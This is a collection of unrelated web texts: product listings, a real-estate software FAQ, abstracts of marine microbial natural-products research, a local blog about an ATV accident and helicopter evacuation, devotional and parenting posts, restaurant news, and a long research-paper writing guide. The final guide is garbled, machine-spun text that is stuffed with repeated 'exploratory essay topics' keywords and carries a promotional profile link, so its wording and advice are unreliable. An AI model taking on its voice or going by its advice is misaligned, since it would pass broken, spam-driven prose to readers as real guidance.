text:
Regular price
Hand stamped. Vertical bar necklace. Bar measures 1 1/4 inch long and 1/4 inch wide. Choice of 16 inch, 18 inch chain, or 24 inch chain. Sterling silver or 14 K Gold Filled.
Font: Block OR Script
Note the initials of your choice, up to 5 letters.
Heart: A heart can be added to any design.
Hammered: the bar can be hammered or left smooth.
Please note exactly what you want upon checkout. Every necklace is made to order special for you and might vary slightly.


text:
Q: How often does the dashboard update?
A: About every 3 minutes.
Q: How often does the dashboard update?
A: About every 3 minutes.
Adding several closings and dashboard is not updating.....refreshing, etc. Is it often more than 3 minutes?
In order for commissions to display properly the following conditions must be met:
It must be a Transaction with status of closed or pending
The agent must be listed as the Buyer's or Seller's agent in the People Tab
The agent identified must be the "Linked Contact" in Settings, Users and Permissions
The numbers should display in 5 minutes or less but can take a little longer sometimes
The commission shown is the Gross Commission, less any buy or sell side referrals
Transaction must be closed this year.
"Transaction Type" in Transaction Tab and Commission Tab must have same Buying/Selling side as Commission.
You can only see the stats for the person who is logged in.
Does this help?
Please sign in to leave a comment.

subset: commoncrawl


text:
Analysis of the full genome of an environmentally unique, halotolerant Streptomyces sp. strain GSL-6C, isolated from the Great Salt Lake, revealed a gene cluster encoding the biosynthesis of the salinipeptins, D-amino-acid containing members of the rare linaridin subfamily of ribosomally synthesized and post-translationally modified peptides (RiPPs). The sequence organization of the unmodified amino acid residues in salinipeptins A D (1-4) were suggested by genome annotation, and subsequently, their sequence and post-translational modifications were defined using a range of spectroscopic techniques and chemical derivatization approaches. The salinipeptins are unprecedented linaridins bearing nine D-amino acids, which are uncommon in RiPP natural products and are the first reported in the linaridin subfamily. Whole genome mining of GSL-6C did not reveal any homologues of the reported genes responsible for amino acid epimerization in RiPPs, inferring new epimerases may be involved in the conversion of L- to D-amino acids. In addition, the N-oxide and dimethylimidazolidin-4-one moieties in salinipeptins B and C, which are modified from N,N-dimethylalanine, are unknown in bacterial peptides. The three-dimensional structure of salinipeptin A, possessing four loops generated by significant hydrogen bonding, was established on the basis of observed nuclear Overhauser effect (NOE) correlations. This study demonstrates that integration of genomic information early in chemical analysis significantly facilitates the discovery and structure characterization of novel microbial secondary metabolites.
Seriniquinone, a marine natural product, displayed potent cytotoxicity and selectivity against melanoma cancer cells. This selectivity, combined with a novel mode of action (MOA), prompted studies to translate a pharmacologically relevant lead. Herein, we report on structure-activity relationships (SARs), and provide a strategy to prepare analogues that retain activity and offer an improved water solubility and isomeric purity. From intermediates made on a gram-scale, derivatives were prepared and evaluated for their antiproliferation activity and melanoma selectivity. Overall these studies provide methods to install side chain motifs that demonstrate a common, and yet unique, biological profile.
A cytotoxic alkaloidal meroterpenoid, saccharoquinoline (1), has been isolated from the fermentation broth of the marine-derived bacterium Saccharomonospora sp. CNQ-490. The planar structure of 1 was elucidated by 1D, 2D NMR, and MS spectroscopic data analyzes, while the relative configuration of 1 was defined through the interpretation of NOE spectroscopic data. Saccharoquinoline (1) is composed of a drimane-type sesquiterpene unit in combination with an apparent 6,7,8-trihydroxyquinoline-2-carboxylic acid. This combination of biosynthetic pathways was observed for the first time in natural microbial products. Saccharoquinoline (1) was found to have cytotoxicity against the HCT-116 cancer cell line by inducing G1 arrest, which leads to cell growth inhibition.
The microbial metabolites known as the macrolides are some of the most successful natural products used to treat infectious and immune diseases. Describing the structures of these complex metabolites, however, is often extremely difficult due to the presence of multiple stereogenic centers inherent in this class of polyketide-derived metabolites. With the availability of genome sequence data and a better understanding of the molecular genetics of natural product biosynthesis, it is now possible to use bioinformatic approaches in tandem with spectroscopic tools to assign the full stereostructures of these complex metabolites. In our quest to discover and develop new agents for the treatment of cancer, we observed the production of a highly cytotoxic macrolide, neaumycin B, by a marine-derived actinomycete bacterium of the genus Micromonospora. Neaumycin B is a complex polycyclic macrolide possessing 19 asymmetric centers, usually requiring selective degradation, crystallization, derivatization, X-ray diffraction analysis, synthesis, or other time-consuming approaches to assign the complete stereostructure. As an alternative approach, we sequenced the genome of the producing strain and identified the neaumycin gene cluster (neu). By integrating the known stereospecificities of biosynthetic enzymes with comprehensive NMR analysis, the full stereostructure of neaumycin B was confidently assigned. This approach exemplifies how mining gene cluster information while integrating NMR-based structure data can achieve rapid, efficient, and accurate stereostructural assignments for complex macrolides.
A new 14-membered macrolactam natural product, fluvirucin B6 (1), was isolated from a marine-derived actinomycete, Nocardiopsis sp. CNQ-115, via HPLC-UV guided isolation. The chemical structure of 1 was elucidated by 1D and 2D NMR spectroscopic data analysis. Compound 1 showed a weak activity against Gram-positive bacteria, whereas it was inactive against Gram-negative bacteria.
Seriniquinone is a natural quinone isolated from a rare marine bacterium of the genus Serinicoccus. This secondary metabolite has been shown to have anticancer properties, which has raised attention of the scientific community. In this short report, we present the first investigation of the gas-phase chemistry fragmentation reactions of seriniquinone in electrospray ionization tandem mass spectrometry (ESI-MS/MS), to be further applied in pharmacokinetics and metabolism studies. All the proposals herein were supported by computational chemistry.
Contemporary sources of organohalogens produced as disinfection byproducts (DBPs) are receiving considerable attention as emerging pollutants because of their abundance, persistence, and potential to structurally mimic natural organohalogens produced by bacteria that serve signaling or toxicological functions in marine environments. Here, we tested 34 organohalogens from anthropogenic and marine sources to identify compounds active toward ryanodine receptor (RyR1), known toxicological targets of non-dioxin like polychlorinated biphenyls (PCBs) and polybrominated diphenyl ethers (PBDEs). [H-3]Ryanodine ([H-3]Ry) binding screening (<= 2 mu M) identified 10 highly active organohalogens. Further analysis indicated that 2,3-dibromoindole (14), tetrabromopyrrole (31), and 2,3,S-tribromopyrrole (34) at 10 mu M were the most efficacious at enhancing [H-3]Ry binding. Interestingly, these congeners also inhibited microsomal sarcoplasmic/endoplasmic reticulum (SR/ER) Ca2+ ATPase (SERCA1a). Dual SERCAla inhibition and RyR1 activation triggered Ca2+ efflux from microsomal vesicles with initial rates rank ordered 31 > 34 > 14. Hexabromobipyrroles (25) enhanced [H-3]Ry binding moderately with strong SERCAla inhibition, whereas pyrrole (24), 2,3,4-tribromopyrrole (26), and ethyl-4-bromopyrrole-2-carboxylate (27) were inactive. Of three PBDE derivatives of marine origin active in the [H-3]Ry assay, 4'-hydroxy-2,3',4,5',6-pentabromodiphenyl ether (18) was also a highly potent SERCAla inhibitor. Molecular targets of marine organohalogens that are also DBPs of emerging environmental concern are likely to contribute to their toxicity.
We report the discovery that strains of Staphylococcus epidermidis produce 6-N-hydroxyaminopurine ( 6-HAP), a molecule that inhibits DNA polymerase activity. In culture, 6-HAP selectively inhibited proliferation of tumor lines but did not inhibit primary keratinocytes. Resistance to 6-HAP was associated with the expression of mitochondrial amidoxime reducing components, enzymes that were not observed in cells sensitive to this compound. Intravenous injection of 6-HAP in mice suppressed the growth of B16F10 melanoma without evidence of systemic toxicity. Colonization of mice with an S. epidermidis strain producing 6-HAP reduced the incidence of ultraviolet-induced tumors compared to mice colonized by a control strain that did not produce 6-HAP. S. epidermidis strains producing 6-HAP were found in the metagenome from multiple healthy human subjects, suggesting that the microbiome of some individuals may confer protection against skin cancer. These findings show a new role for skin commensal bacteria in host defense.
Bacterial natural products remain an important source of new medicines. DNA sequencing has revealed that a majority of natural product biosynthetic gene clusters (BGCs) maintained in bacterial genomes have yet to be linked to the small molecules whose biosynthesis they encode. Efforts to discover the products of these orphan BGCs are driving the development of genome mining techniques based on the premise that many are transcriptionally silent during normal laboratory cultivation. Here, we employ comparative transcriptomics to assess BGC expression among four closely related strains of marine bacteria belonging to the genus Salinispora. The results reveal that slightly more than half of the BGCs are expressed at levels that should facilitate product detection. By comparing the expression profiles of similar gene clusters in different strains, we identified regulatory genes whose inactivation appears linked to cluster silencing. The significance of these subtle differences between expressed and silent BGCs could not have been predicted a priori and was only revealed by comparative transcriptomics. Evidence for the conservation of silent clusters among a larger number of strains for which genome sequences are available suggests they may be under different regulatory control from the expressed forms or that silencing may represent an underappreciated mechanism of gene cluster evolution. Coupling gene expression and metabolomics data established a bioinformatic link between the salinipostins and their associated BGC, while genetic manipulation established the genetic basis for this series of compounds, which were previously unknown from Salinispora pacifica.
Intensive study of the organic extract of the marine-derived bacterium Saccharomonospora sp. CNQ-490 has yielded three new ff-pyrones, saccharomonopyrones A-C (1-3). The chemical structures of these compounds were assigned from the interpretation of 1D, 2D NMR and mass spectrometry data. Saccharomonopyrone A (1) is the first ff -pyrone microbial natural product bearing the ethyl-butyl ether chain in the molecule, while saccharomonopyrones B and C possess unusual 3-methyl and a 6-alkyl side-chain within a 3,4,5,6-tetrasubstituted alpha-pyrone moiety. Saccharomonopyrone A exhibited weak antioxidant activity using a cation radical scavenging activity assay with an IC50 value of 140 mu M.
HPLC-UV guided isolation of the culture broth of a marine bacterium Saccharomonospora sp. CNQ-490 has led to the isolation of two new natural products, lodopyridones B and C (1 and 2) along with the previously reported lodopyridone A (3). Their chemical structures were established from the interpretation of 2D NMR spectroscopic data and the comparison of NMR data with the lodopyridone A (3). Lodopyridones B and C (1 and 2) possess the thiazole, and chloroquinoline groups which are characteristic features of these molecules. Lodopyridones A-C show weak inhibitory activities on the beta-site amyloid precursor protein cleaving enzyme 1 (BACE1). (c) 2017 Elsevier Ltd. All rights reserved.
HPLC-UV guided isolation for the culture broth extract of the marine-derived bacterium Streptomyces sp. has led to the two 14-membered macrolides, 4Z- (1) and 4E-12-dehydroxykromycins (2). The chemical structures of compounds 1 and 2 were elucidated by spectral data, while the absolute stereochemistry of 1 and 2 were determined by application of circular dichroism (CD) and analysis of X-ray crystallographic data. (C) 2017 Published by Elsevier Ltd.
Six cytotoxic and antimicrobial metabolites of a new bromo-phenazinone class, the marinocyanins A-F (1-6), were isolated together with the known bacterial metabolites 2-bromo-1-hydroxyphenazine (7), lavanducyanin (8, WS-9659A) and its chlorinated analog WS-9659B (9). These metabolites were purified by bioassay-guided fractionation of the extracts of our MAR4 marine actinomycete strains CNS-284 and CNY-960. The structures of the new compounds were determined by detailed spectroscopic methods and marinocyanin A (1) was confirmed by crystallographic methods. The marinocyanins represent the first bromo-phenazinones with an N-isoprenoid substituent in the skeleton. Marinocyanins A-F show strong to weak cytotoxicity against HCT-116 human colon carcinoma and possess modest antimicrobial activities against Staphylococcus aureus and amphotericin-resistant Candida albicans. (C) 2017 Elsevier Ltd. All rights reserved.
Two piloquinone derivatives isolated from Streptomyces sp. CNQ-027 were tested for the inhibitory activities of two isoforms of monoamine oxidase (MAO), which catalyzes monoamine neurotransmitters. The piloquinone 4,7-dihydroxy-3-methyl-2-(4-methyl-1-oxopentyl)-6H-dibenzo[b,d]pyran-6-one (1) was found to be a highly potent inhibitor of human MAO-B, with an IC50 value of 1.21 mu M; in addition, it was found to be highly effective against MAO-A, with an IC50 value of 6.47 mu M. Compound 1 was selective, but not extremely so, for MAO-B compared with MAO-A, with a selectivity index value of 5.35. Compound 1,8-dihydroxy-2-methyl-3-(4-methyl-1-oxopentyl)-9,10-phenanthrenedione (2) was moderately effective for the inhibition of MAO-B (IC50 = 14.50 mu M) but not for MAO-A (IC50 > 80 mu M). There was no time-dependency in inhibition of MAO-A or -B by compound 1, and the MAO-A and -B activities were almost completely recovered in the dilution experiments with an excess amount of compound 1. Compound 1 showed competitive inhibition for MAO-A and -B, with K-i values of 0.573 and 0.248 mu M, respectively. These results suggest that piloquinones from a microbial source could be potent reversible MAO inhibitors and may be useful lead compounds for developing MAO enzyme inhibitors to treat related disorders, such as depression, Parkinson's disease, and Alzheimer's disease.
Vibrio cholerae is the causative bacteria of the diarrheal disease cholera, but it also persists in aquatic environments, where it displays an expression profile that is distinct from that during infection. Upon entry into the host, a tightly regulated circuit coordinates the induction of two major virulence factors: cholera toxin and a toxin-coregulated pilus (TCP). It has been shown that a set of bile salts, including taurocholate, serve as host signals to activate V. cholerae virulence through inducing the activity of the transmembrane virulence regulator TcpP. In this study, we investigated the role of calcium, an abundant mental ion in the gut, in the regulation of virulence. We show that whereas Ca2+ alone does not affect virulence, Ca2+ enhances bile salt-dependent virulence activation for V. cholerae. The induction of TCP by murine intestinal contents is counteracted when Ca2+ is depleted by the high-affinity calcium chelator EGTA, suggesting that the calcium present in the gut is a relevant signal for V. cholerae virulence induction in vivo. We further show that Ca2+ enhances virulence by promoting bile salt-induced TcpP-TcpP interaction. Moreover, fluorescence recovery after photobleaching (FRAP) analysis demonstrated that exposure to bile salts and Ca2+ together decreases the recovery rate for fluorescently labeled TcpP, but not for another inner membrane protein (TatA). Together, these data support a model in which physiological levels of Ca2+ may result in altered bile salt-induced TcpP protein movement and activity, ultimately leading to an increased expression of virulence.
Polyhalogenated N-methylbipyrroles of two different structure classes have been detected worldwide in over 100 environmental samples including seawater, bird eggs, fish, dolphin blubber, and in the breast milk of humans that consume seafood. These molecules are concentrated in the fatty tissues in comparable abundance to some of the most important anthropogenic contaminants, such as the halogenated flame-retardants and pesticides. Although the origin of these compounds is still unknown, we present evidence that the production of these materials can involve the direct ozone activated seawater halogenation of N-methylbipyrrole precursors. This observation shows that environmental polyhalogenated bipyrroles can be produced via an abiotic process, and implies that the ozone activated halogenation of a variety of natural and anthropogenic seawater organics may be a significant process occurring in surface ocean waters.
Understanding trafficking in cells and tissues is one of the most critical steps in exploring the mechanisms and modes of action (MOAs) of a small molecule. Typically, deciphering the role of concentration presents one of the most difficult challenges associated with this task. Herein, we present a practical solution to this problem by developing concentration gradients within single dishes of cells. We demonstrate the method by evaluating fluorescently-labelled probes developed from two classes of natural products that have been identified as potential anti-cancer leads by STORM super-resolution microscopy.
Understanding the target and mode of action (MOA) of small molecules activity has become a critical feature in guiding the transition between drug discovery and clinical evaluation. While classically placed at the latter stages of a discovery program, we now describe how addressing the mode of action of natural products at the early stages of a program provides an important vehicle to inform the drug discovery process. In this review, we outline a streamlined cellular and molecular biological system and explore its utility through a series of four cases studies. We believe that this approach offers critical lessons to guide future drug discovery programs.
The piericidin family of microbial metabolites features a 4-pyridinol core linked with a methylated polyketide side chain. Piericidins are exclusively produced by actinomycetes, especially members of the genus Streptomyces. The close structural similarity with coenzyme Q renders the piericidins important NADH-ubiquinone oxidoreductase (complex I) inhibitors in the mitochondria! electron transport chain. Because of the significant activities of the piericidins, which include insecticidal, antimicrobial and antitumor effects, total syntheses of the piericidins were developed using various synthetic strategies. The biosynthetic origin of this class has also been the subject of investigation. This review covers the isolation and structure determination of the natural piericidins, their chemical modification, the total syntheses of natural and unnatural analogs, their biosynthesis, and reported biological activities together with structure-activity relationships. Given the fundamental biology of this class of metabolites, the piericidin family will likely continue to attract attention as biological probes of important biosynthetic processes.
Actinomycete bacteria of the common genus Streptomyces can be routinely isolated from shallow and deep ocean sediments. Although commonly considered a terrestrial genus, and most abundantly found in soil, Streptomyces strains are found that have distinct requirements for seawater and routinely do not show significant similarity, with terrestrial strains by 16S ribosomal DNA phylogenetic sequence comparisons. Our examination of the culture broth of a Streptomyces sp., strain CNP975, isolated from a local La Jolla, California sediment sample, resulted in the isolation of actinoquinolines A and B (1, 2), which show significant inhibition of the arachidonic acid pathway enzymes cyclooxygenases-1 and -2. The new compounds contain the 3-hydroxyquinaldic acid (3HQA) motif found in numerous peptide antibiotics. In the actinoquinolines, 3HQA forms an amide linkage with a linear six-carbon fragment, formally a 2, 6-diamino-1, 5-dihydroxyhexane unit, a component of likely amino acid reductive off-loading origin. Actinoquinoline A illustrated amide rotational isomerism leading to complex NMR spectral data. Actinoquinoline B was assigned as the C-13 aldehyde analog isolated as an intramolecular hemiacetal. Reduction of 2 with NaBH4 yielded actinoquinoline A thus confirming the relative configurations of all centers in the actinoquinolines.
Further chemical investigation of a marine-derived bacterium of the genus Streptomyces has led to the isolation of ansalactams B-D (1-3) along with the previously reported metabolite ansalactam A (4). Ansalactams B-D are significantly modified ansamycins, representing three new carbon skeletons and further illustrating the biosynthetic plasticity of the ansalactam class. Unlike ansalactam A, ansalactams B and D are penta- and hexacyclic metabolites, while ansalactam C illustrates an open polyene chain with a terminal carboxylic acid.
Two actinomycetes, a member of the rare halophilic genus Streptomonospora and a Nocardiopsis sp. (Nocardiopsaceae), strains CNQ-082 and CNQ-675, respectively, were isolated from marine sediments collected off shore near La Jolla, California. HPLC-UV guided fractionations of the extracts of these strains yielded marinopyrones A-D (1-4), the structures of which were elucidated by interpretation of 1D and 2D NMR and HRMS spectroscopic data. Oxidative ozonation, followed by conversion of the acid product to an alpha-naphthyl amide, provided the absolute configuration at the chiral center on the side-chain. Marinopyrones A-D were examined for the inhibitory activity on nitric oxide production in LPS-activated mouse macrophage cells (RAW 264.7); marinopyrone D (4) was inhibitory with an IC50 value of 13 mu M. To our knowledge, marinopyrones A-C are only the second reported natural products from the rare halophilic genus Streptomonospora. (C) 2016 Elsevier Ltd. All rights reserved.
Streptomyces sp. CNQ-509 is a marine actinomycete belonging to the MAR4 streptomycete lineage. MAR4 strains have been linked to the production of diverse and otherwise rare meroterpenoid compounds. The genome sequence of Streptomyces sp. CNQ-509 was found to contain 29 putative gene clusters for the biosynthesis of secondary metabolites, some of them potentially involved in the formation of meroterpenoid molecules. (C) 2015 Elsevier B.V. All rights reserved.
Sponges of the genus Aplysina are among the most common benthic animals on reefs of the Caribbean, and display a wide diversity of morphologies and colors. Tissues of these sponges lack mineralized skeletal elements, but contain a dense spongin skeleton and an elaborate series of tyrosine-derived brominated alkaloid metabolites that function as chemical defenses against predatory fishes, but do not deter some molluscs. Among the earliest marine natural products to be isolated and identified, these metabolites remain the subject of intense interest for commercial applications because of their activities in various bioassays. In this study, crude organic extracts from 253 sponges from ten morphotypes among the species Aplysina archeri, Aplysina bathyphila, Aplysina cauliformis, Aplysina fistularis, Aplysina fulva, A. insularis, and Aplysina lacunosa were analyzed by liquid chromatographymass spectrometry (LCMS) to characterize the pattern of intra- and interspecific variabilities of the twelve major secondary metabolites present therein. Patterns across Aplysina species ranged from the presence of mostly a single compound, fistularin-3, in A. cauliformis, to a mixture of metabolites present in the other species. These patterns did not support the biotransformation hypothesis for conversion of large molecular weight molecules to smaller ones for the purpose of enhanced defense. Discriminant analyses of the metabolite data revealed strong taxonomic patterns that support a close relationship between A. fistularis, A. fulva and A. insularis, while two morphotypes of A. cauliformis (lilac creeping vs. brown erect) were very distinct. Two morphotypes of A. lacunosa, one with hard tissue consistency, the other soft and thought to belong to a separate genus (Suberea), had very similar chemical profiles. Of the twelve metabolites found among samples, variation in fistularin-3, dideoxyfistularin-3 and hydroxyaerothionin provided the most predictive influence in decreasing order. Except for one morphotype, weak relationships were found from within-morphotype analyses of metabolite concentrations as a function of geographic location (Florida, N Bahamas, S Bahamas) and depth (<10m, 1020m, >20m). Our data suggest that metabolite profiles are strongly influenced by sponge phenotype rather than by the diverse microbiome which many Aplysina species share. (C) 2015 Sociedade Brasileira de Earmacognosia. Published by Elsevier Editora Ltda. All rights reserved.
Chemical investigation of a marine-derived actinomycete isolated from marine sediments collected off the coast of southern California and identified as a Nocardiopsis sp. (strain CNQ115) led to the isolation of two new 4-aminoimidazole alkaloids, nocarimidazoles A (1) and B (2). The chemical structures of nocarimidazoles A and B were assigned by interpretation of NMR spectroscopic data and through methylation to yield monomethyl and dimethyl derivatives. Nocarimidazoles A and B possess a 4-aminoimidazole ring combined with a conjugated carbonyl side chain, which is rarely found in microbial secondary metabolites.
Biodiversity and Conservation, Environment and Human Health, Marine Life
Natural Products Chemistry
Mailing Address: SIO DeptScripps Institution of OceanographyUC San Diego9500 Gilman Drive #0204La Jolla CA, 92093-0204
Location: 201 Scholander HallTel: 858-534-2133Fax: 858-534-1318
wfenical at ucsd.edu


text:
Classic Tote Olive
This product is currently sold out.
Who doesn't love a good tote bag these days!?
This one is made in Texas by Stan Ray, The materials are a heavy duty cotton drill for the main part of the bag with natural canvas long straps.
It is sturdy and durable, not too big or too small: pretty perfect if you ask us!
Woven branded label on each size. Also available in Tiger Camo Ripstop


text:
According to her mom LeAnn Creamer, " She got on my husbands atv and in 10 seconds she hit a weird bump and fell off. She is so lucky. She is okay. They are keeping her at geisinger till Wednesday for observation. She has bruised lungs a small laceration on her liver, a broken pinky that needs surgery and a concussion. Morris Fire dept were so awesome. They landed the helicopter right in the yard. It was so scary."
|Morris Fireman Packing Abby for flight
|Loading Abby in Helicopter
According to Bob Paul who took all these nice pictures and contacted me, Abby was knocked out by her accident. It looks like from the list of her injuries was indeed lucky not to have a more serious head injury.
From personal experience I can tell you, flying in the helicopter as a patient is a bit wierd. They put you in the belly of the beast with just enough room for you. Your head comes up between a nurse's legs. Stuff is within about 18" of the top of you and there is a small but not enjoyable window to your side. You really have no idea of what is happening or where you are going. In my case drugs they gave me helped a lot with that issue. No one else can come with you. So you take off leaving them about a 2 hour drive behind you.
When you land at Geisinger you are wheeled in and looked at by everyone in the hospital(or at least it feels that way). They poke and prod at you and put you through machines. You feel very alone until your family arrives. I thought a lot about how scared Abby must have felt being alone in the ER until her family came.
Then the family worried sick, imagining the worst, drives the longest drive of their life. That two hours to Geisinger seems like eight.
|Flying away to Geisinger
After it is over and a few days have passed. You realize how quickly life can change and if you and your loved one made it through the accident, how lucky you are. You never see a Life Flight helicopter again the same way. And you deeply appreciate all the care and concern conveyed to you by the medical people.
Leetonia is a wonderful place to live, but now and then it reminds us all just how isolated and dangerous it can be. Even with all this the last picture says it all.
A bear showed up during all the action. With all the firefighters, ambulance, helicopters and people, she just strode up to see what was happening. Maybe she went back to her cubs and told them,
|Local Bear making sure rescue goes well
Another day in Leetonia. Mountain girl, Paula, logging off.


text:
Independent Initiative
Six times Jesus uses the phrase, "my own initiative," to reference His will, authority, and option to make His own decisions. In five of the six instances, He declares dependence upon His Father over His own initiative. The lone reference to Him exerting His own will comes in John 10:18 as He takes the initiative to lay down His life in obedience to His Father.
While Jesus was the strongest willed man to ever set foot on the planet, He was also the most dependent.
You see (I hope) from my blogs this week, it was Moses' dependence upon the Lord that gave him strength. It was Christ's dependence upon the Father that created the power He demonstrated.
Here's the take away: God never intended for us to live the Christian life for Him. After all, it isn't our life; it is Christ's. God's intention is for us to depend upon Christ to live His life through us.
I'm quite sure it was monumentally difficult for Moses to throw his rod down. And, I can't even begin to grasp what it meant for Christ to hang the use of His divine power on the coat rack as He left heaven.
The difficulty of following suit is intimidating, but the power and testimony of their lives—Moses' and Jesus' in this case—remains unquestionable. Our confidence is this: the Powerful One dwells within us and seeks our Heavenly Father's will, not His own initiative (Jn. 16:13).


text:
Cal-Cert represents over 80 manufacturers of laboratory testing equipment. Our long standing vendor relationships enable us to provide a complete source for all laboratory equipment.
10 reasons to rely on Cal-Cert for your equipment needs
Let our experienced staff make your product purchases easy! Request a product quote
Copyright 2019 Cal-Cert. All rights reserved.


text:
It came to me that something's wrong with that -- all that focus, I mean, directed toward making our home into Ye Olde Museum.
Around here, two little tiny folks chase my heels. Today my husband The Preacher said, "I think it's cool the kids follow you everywhere you go." Hm.
And so The Preacher made me think of someone. Way back in Sunday school, didn't we learn about a guy with a bunch of (kinda clueless) people trailing after him all the time? People who asked him a bunch of questions and then fussed over the answers? People who argued about who was his favorite? People who didn't see the big picture - but chased His heels all the same?
This morning, I told my son it was time to pray; out of the blue, he declared in his Little Preacher voice: "Just like Daddy said at church, 'Some of you been prayin', some of you been workin', some of you been usin' the potty, some of you been playin' with toys. But did you ask the Lord?'"
I'm not sure what made him think of that (and I'm absolutely certain he wasn't quoting his daddy verbatim!) - but it's food for thought, isn't it? I've been prayin' and workin' and . . . y'know, all that. "But did you ask the Lord?"
So I think it's time to shift my focus. There's something amazing hidden under this parenting thing. If it takes a little digging to find it, then I've got my shovel ready. Tomorrow's a new day! *
(And with that, friends, I'll see you Monday! Well, unless something ridiculous happens tomorrow, in which case I'll be forced to keep you posted.)
Shared here: Time-Warp Wife!
And here:


text:
http://treadwellpark.com/upper-east-side/wp-content/uploads/2017/02/sausagefest-at-treadwell-park.jpg 3300 2550 Treadwell Park http://treadwellpark.com/upper-east-side/wp-content/uploads/2014/09/treadwell-park-300x34.png Treadwell Park2017-01-24 13:34:392017-02-07 13:38:49Sausagefest at Treadwell Park
Sausagefest at Treadwell Park
What's on the menu at new Greek resto Ousia on the Far West Side, and how is Sausagefest at Treadwell Park paying homage to encased meats from around New York City? That and more in this week's food news….
Treadwell Park's Sausagefest Focuses on Local Smoked Meats
Some of New York's best sausages—smoked pork sausage from Ridgewood and kielbasa from Greenpoint—will be featured during Treadwell Park's Sausagefest running through February 12. Chef Stephen Lyle curated the menu of five sausages that can be paired with a wide selection of beer. 1125 First Ave., 212-832-1551


text:
In The Blank Website page For Some Analysis Pieces of paper. A Step-By-Factor Information. 33 Certain to get Processes To Relax After Midterms.http://thecolorless.net/users/ArthurTaylor
Whether it be the 1st researching paper or perhaps the 10th a particular, it's an challenging project. The sheer regarded handling plenty of suppliers, piles of remarks and several drafts awakens the monster of stalling. You want to start with less complicated tasks and burst the guidelines the research cardstock creating. Suddenly, you've just a few occasions remaining, and you can hardly expect finding a b for those hurried poor producing. If youve exploratory essays topics about sports went to one or two activities witout a doubt, this interesting handbook is really a great thing for you personally. Learning tips on how to crack the project into compact, simply-controllable pieces, composing an research newspaper is a breeze for you personally.
Weve divided up the treatment into 7 procedures. There's an interim effect you ought to get when youve finalized each one move. Don't begin these place until such time as youve attained this intention. Now lets roll!
An Excellent Issue
Needless to say, you might want to come up with a plain ancient researching paper on abortion or desperate sentence, but where's the gratification for the reason that? Quite, opt topics for exploratory essay for the subject that's:
- of desire available for you
- an intriguing analyzing in the coach and friends
- not very wide to purchase inside anticipated quantities
- demonstrates being aware of it from the project.
It really is from the impressive influence of delicious chocolate and the occasional on intellectual functions in young adults into a comparative exploration directly into the societal influence ofSouth Parkvs.Ron and Morty. Have the creative imagination flow, help your creative imagination go outdoors. Do not maximum someone to actually the actually-utilized themes which have been discussed a 1000 occasions ahead simple exploratory essay topics of.
An Workable Thesis
Steer clear of the rookie fault of delving into investigate with out formulating your thesis statement initially. You could think looking inside bigger content will help you accomplish the cardstock sooner, but that's the average mistaken belief. Will waste you your time and effort tracking the net with no direction for a few days and days.
So pretty, make a tricky thesis Previous to proceeding towards local library. It helps you dice lessen their subscriber list of sources and organize the research. Using this method, you'll extensive the preliminary simple steps faster, plus your deliver the results is definitely not an uncoordinated clutter of disconnected creative ideas and thoughts. Weve went through operation for formulating an awesome thesis impression presently, keep in mind good exploratory essays topics tocheck it.
An Overview Of Reliable Origins
Pro Suggestion: a quick Lookup wont give you any efficient places for the study document. Very, see the educational institutions online local library, explore bibliography indexes, question your trainers recommendations. If you're inactive focused upon searching on the internet, use The search engines Scholar instead on the regular internet search motor.
Recollect, that fails to virtually every foundation may be used and documented in your own exploration document. There are a lot concerns you might want to request you exploratory essays topics for college students to ultimately find out, if for example the origin is an excellent case in point.
- Just when was the information modified?Hunt for the present details in the most recent log complications relatively of implementing outdated exploration dating back 1980s.
- The amount facts will the source offer you?Some articles or blog posts could be way too shorter and vague in becoming advantageous. Look up sources with sufficient relevant info.
- Is it possible to have confidence in the origin?Opt for the articles or reviews reproduced in distinguished peer-assessed magazines college exploratory essays topics or created by professionals inside the area.
- Exist even more sources promoting this information?Don't blindly depend on all you look over on the internet, notably on Wikipedia. If the cause isnt really well-performing, verify if there is almost every other mentions from the knowledge you should utilize. When you uncover not one, check out other places.
- Stands out as the reference biased?Sometimes web pages don't supply reasonable info, since they in fact advertise some systems or behaviour. Keep clear of these sort of resources to look at an unbiased thoughts and opinions round the topic.
Discover more about the top ways tochoose, use and balance the sources within your records.
A Selection Of Cautious Notes
Only researching your resources isn't enough, you want to produce lessen the most important knowledge which can be handy. Begin using these suggestions:
- Give attention to appealing and different info, proposals, strategies.
- Publish decrease research, features, files to assist your reasons easy exploratory essays topics.
- Sum up and paraphrase somewhat of copying whole passages.
- Always message the foundation that youve utilized the data.
- Plan the key areas by debate or by resource.
Taking remarks may appear like pointless, and you will save you plenty of problem across the following that couple of procedures.
An Adjustable Description
It is now time to put together most of the files youve gathered and many types of disagreements college level exploratory paper topics you ought to make into a guide. It doesnt ought to be an effective define except if your tutor demands people to undoubtedly offer you a particular. Several phrases are often good enough to describe each section or page.
Website the main things to every cause for the description that will help you rapidly add in important information to help your quarrels and provide citations. Of course, commence with the beginning, see the guidelines in the physique and closed with the in closing. The describe you cultivate will boost your crafting.
An Initial Write
All the producing with the explore old fashioned paper doesnt use plenty of time if youve concluded all last methods. Now you should just make it possible for your thoughts dump into the document dependant upon the outline for you together with your remarks. Generate reduce all you are able consider, and you should not be worried about little flaws, condition the primary write. Neglect your inside critic and let yourself to like to write down.
There is no need to commence at first, sincecreating a superb release is usually tough. Quite, start with any paragraph exploratory essays topics that presents itself effortless to generate and transfer from there. You might like to begin with one more outcome or perhaps your thirdly a vital place. That is correctly fine, not one person recognizes regarding your crafting series. It will likely be our tiny technique.
An Edited Study Document
At the time you total the newspaper, get pressured out for two days to weeks. Then profit for many enhancing and proofreading. Start out along with your edits, as it is important to evaluate, if your cardstock is plausible and streamlined. You may want exploratory paper topics for college students to increase new details or remove numerous sentences. That is alright. You should take away an item that doesnt in shape the paper.
Once you are pleased about the formulating, it happens to be chance to undergo your pursuit paper just one deeper time to get all typos and slips. Reread each and every phrase mindfully or, much better, be sure to ask another individual to discover the newspaper for you personally. This can be a best time for you to file format the pieces of paper influenced by your teachers desires, then add headline web site, materials, bibliography, and many more.
That wasnt so terrible, could it were? At the time you give consideration to creating the investigation papers easy exploratory paper topics in minimal amounts and shoot for small sized measured interim objectives, the project doesnt appear daunting whatsoever. With any luck , you'll discover our referral handy and get the clearly-deserved A within your assignment. And we're always lucky to help, if you're from some time to really need to complete the investigation papers Asap.
Best wishes, your midterms have left! It is the exploratory paper topics about sports perfect time to reveal from undead to living once more, beginning with routine rest and food items. To aid your conversion into the field of the experiencing, weve produced an overview of tranquil matters to attend to, that may dramatically receive the mind with the medical tests, written documents, and exams. Go for numerous randomly and permit yourself to as a final point chill out.
